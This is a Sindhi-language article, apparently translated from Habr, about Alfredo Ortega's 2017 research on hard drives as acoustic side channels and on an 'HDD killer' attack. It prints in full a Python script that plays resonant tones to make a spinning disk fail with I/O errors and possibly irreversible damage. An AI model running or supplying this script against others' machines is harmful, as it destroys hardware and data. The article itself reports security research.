توهان کي پنهنجي HDD تي شور ڇو نه ڪرڻ گهرجي

توهان کي پنهنجي HDD تي شور ڇو نه ڪرڻ گهرجي

بيونس آئرس ۾ ايڪو پارٽي 2017 ڪمپيوٽر سيڪيورٽي ڪانفرنس ۾، ارجنٽائن هيڪر Alfredo Ortega هڪ تمام دلچسپ ترقي ڏيکاري - هڪ مائڪرو فون استعمال ڪرڻ کان سواءِ احاطي جي ڳجهي وائر ٽيپنگ لاءِ هڪ نظام. آواز سڌو سنئون هارڊ ڊرائيو تي رڪارڊ ڪيو!

HDD خاص طور تي تيز-شدت جي گھٽ فريڪوئنسي آوازن، پيرن جا قدم ۽ ٻين وائبريشنز کي کڻي ٿو. انساني تقرير اڃا تائين تسليم نه ٿي ڪري سگھجي، جيتوڻيڪ سائنسدان ان سلسلي ۾ تحقيق ڪري رهيا آهن (گهٽ فريڪوئنسي وائبريشن ذريعي تقرير جي سڃاڻپ، جيڪي رڪارڊ ٿيل آهن، مثال طور، گريرو اسڪوپ يا HDD کان).

آواز هوا يا ڪنهن ٻئي ميڊيم جو وائبريشن آهي. ھڪڙو ماڻھو انھن کي ڪن جي پردي ذريعي سمجھندو آھي، جيڪو اندرين ڪن ڏانھن وائبريشن منتقل ڪري ٿو. مائڪروفون تقريبن هڪ ڪن وانگر ٺهيل آهي - هتي، پڻ، ٿڌن کي هڪ پتلي جھلي طرفان رڪارڊ ڪيو ويو آهي، جيڪو برقي تسلسل کي وڌائي ٿو. هارڊ ڊرائيو، يقينا، ڀرسان هوا ۾ وهڪري جي ڪري خوردبيني وائبريشن جي تابع آهي. اهو HDDs جي ٽيڪنيڪل خاصيتن کان به سڃاتو وڃي ٿو: ٺاهيندڙن کي عام طور تي وڌ ۾ وڌ اجازت واري وائيبريشن سطح جي نشاندهي ڪن ٿا، ۽ هارڊ ڊرائيو پاڻ اڪثر ڪري ان کي رٻڙ يا ٻي موصلي مواد مان ٺهيل کمپن پروف ڪنٽينر ۾ رکڻ جي ڪوشش ڪندو آهي. ان مان اهو نتيجو ڪڍڻ آسان آهي ته آواز HDD استعمال ڪندي رڪارڊ ڪري سگهجي ٿو. باقي اهو آهي ته اهو معلوم ڪرڻو آهي ته ڪيئن.

Alfredo Ortega هڪ پاسي واري چينل حملي جو هڪ منفرد نسخو پيش ڪيو، يعني هڪ وقت جو حملو. اهو حملو ان مفروضي تي مبني آهي ته مختلف وقتن تي ڊوائيس تي مختلف آپريشن ڪيا ويندا آهن، ڏنل ان پٽ ڊيٽا جي بنياد تي. انهي صورت ۾، "انپٽ ڊيٽا" پڙهڻ واري سر ۽ HDD پليٽ جي کمپن آهي، جيڪو ماحول جي وائيبريشن سان تعلق رکي ٿو، يعني آواز سان. اهڙيء طرح، حساب جي وقت کي ماپڻ ۽ ڊيٽا جي شمارياتي تجزيي کي انجام ڏيڻ سان، سر / پليٽ جي وائبريشنز ۽ ان ڪري وچولي جي وائبريشن کي ماپ ڪري سگهجي ٿو. ڊيٽا پڙهڻ ۾ جيتري دير ٿيندي، اوترو ئي مضبوط HDD وائبريشنز ۽، تنهن ڪري، آواز اوترو وڌيڪ.

هارڊ ڊرائيو وائبريشن کي ڪيئن اندازو ڪجي؟ بلڪل سادو: صرف سسٽم ڪال کي هلائي read () - ۽ اهو وقت رڪارڊ ڪريو جيڪو مڪمل ٿيڻ ۾ وٺندو آهي. جديد آپريٽنگ سسٽم توهان کي نانو سيڪنڊ جي درستگي سان سسٽم ڪالن جو وقت پڙهڻ جي اجازت ڏين ٿا.

هڪ شعبي کان معلومات پڙهڻ جي رفتار سر ۽ پليٽ جي پوزيشن تي منحصر آهي، جيڪو HDD ڪيس جي کمپن سان لاڳاپيل آهي. اهو ئي سڀ ڪجهه آهي.

شمارياتي تجزيو هڪ سادي Kscope استعمال ڪندي ڪيو ويندو آهي. جيئن اهي چون ٿا، هر شيء سادي آهي.

توهان کي پنهنجي HDD تي شور ڇو نه ڪرڻ گهرجي
Kscope افاديت (stat() syscall)

Kscope هڪ ننڍڙي افاديت آهي نظام ڪال جي عمل جي وقتن ۾ ننڍڙن اختلافن کي ڏسڻ لاءِ. ذريعوGitHub تي شايع ٿيل.

هڪ الڳ مخزن ۾ HDD-وقت هارڊ ڊرائيو تي هڪ وقت جي حملي لاءِ ترتيب ڏنل يوٽيلٽي جو هڪ نسخو آهي، يعني سسٽم ڪال جو تجزيو ڪرڻ لاءِ ترتيب ڏنل read ().

HDD استعمال ڪندي آواز جي رڪارڊنگ جو مظاهرو، Kscope افاديت جو آپريشن


يقينا، تقرير هن طريقي سان سمجهي نه ٿو سگهجي، پر HDD هڪ وائيريشن سينسر جي طور تي ڪافي مناسب آهي. مثال طور، توهان رجسٽر ڪري سگهو ٿا جيڪڏهن ڪو ماڻهو سخت بوٽ پائڻ يا ننگي پيرن ۾ ڪمپيوٽر سان ڪمري ۾ داخل ٿيو (شايد، جيڪڏهن حملو ڪندڙ نرم سنوڪر پائڻ وارو آهي يا فرش تي ٿلهي قالين آهي، ته HDD وائيبريشن کي رجسٽر ڪرڻ جي قابل نه هوندو - اهو جانچڻ جي لائق آهي). ڪمپيوٽر ٽٽل شيشي يا ٻين واقعن کي مضبوط آواز جي شدت سان رجسٽر ڪرڻ جي قابل آهي. اهو آهي، هارڊ ڊرائيو هڪ قسم جي غير مجاز مداخلت ڳولڻ واري نظام جي طور تي ڪم ڪري سگهي ٿو.

HDD قاتل

رستي ۾، هڪ اهڙي ٽيڪنڪ هارڊ ڊرائيو کي بند ڪرڻ لاء استعمال ڪري سگهجي ٿو. صرف هتي اسان HDD مان oscillations کي ختم نه ڪندا آهيون، پر ان جي برعڪس، اسان oscillations ٺاهيندا آهيون جيڪي HDD کي کارايو ويندو آهي. جيڪڏهن توهان اسپيڪر مان آواز کي فريڪوئنسي تي هلائيندا آهيو جيڪا HDD فریکوئنسي سان گونجندي آهي، سسٽم جلد ئي ڊوائيس کي I/O جي غلطي سان بند ڪري ٿو (لينڪس ڪنيل مڪمل طور تي HDD کي 120 سيڪنڊن کان پوءِ بند ڪري ٿو). هارڊ ڊرائيو پاڻ کي ناقابل واپسي نقصان جو شڪار ٿي سگھي ٿو.

توهان کي پنهنجي HDD تي شور ڇو نه ڪرڻ گهرجي
لينڪس ڪرنل هارڊ ڊرائيو کي بند ڪري ڇڏيو 120 سيڪنڊن کان پوءِ آواز پهچائڻ جي هڪ گونج فريڪوئنسي تي ايڊفير r19u USB اسپيڪر جي اسپيڪر ذريعي. اسپيڪر لڳ ڀڳ هڪ چوٿين پاور تي (100 ميگاواٽ کان گهٽ) تي ڦيرايو ويو آهي ۽ HDD کان 20 سينٽي جي فاصلي تي واقع آهي، جنهن جو مقصد ميز تي ويبريشن کي وڌائڻ لاء. فريم کان وڊيو HDD قاتل جي مظاهري سان

اهو دلچسپ آهي ته HDDs تي اهڙا "حملا" ڪڏهن ڪڏهن مڪمل طور تي روزمره جي زندگيء ۾ حادثي سان ٿينديون آهن. مثال طور، سيپٽمبر 2016 ۾، ING بئنڪ ڊيٽا سينٽر کي 10 ڪلاڪن لاءِ آپريشن معطل ڪرڻ تي مجبور ڪيو ويو فائر ڊرل کان پوءِ. درجن جي هارڊ ڊرائيو ناڪام ٿي ويا آهن تيز دٻاءَ هيٺ سلينڊر مان نڪرندڙ غير فعال گيس جي تيز آواز جي ڪري. آواز تمام بلند هو (130 ڊي بي کان وڌيڪ)، پر توهان هارڊ ڊرائيو تي به شور نه ٿا ڪري سگهو - هي HDD تائين پهچڻ ۾ دير وڌائي ٿو.

ڊيٽا سينٽر ۾ هارڊ ڊرائيو تي انساني چيخن جو مظاهرو. دير جي ماپ


گونجندڙ آواز پيدا ڪرڻ لاءِ، Alfredo Ortega هڪ Python اسڪرپٽ لکيو hdd-قاتل (ويڊيو جو مظاهرو).

HDD قاتل اسڪرپٽ اهو تمام ننڍڙو آهي، تنهنڪري توهان ان کي مڪمل طور تي هتي شايع ڪري سگهو ٿا.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

جو ذريعو: www.habr.com

تبصرو شامل ڪريو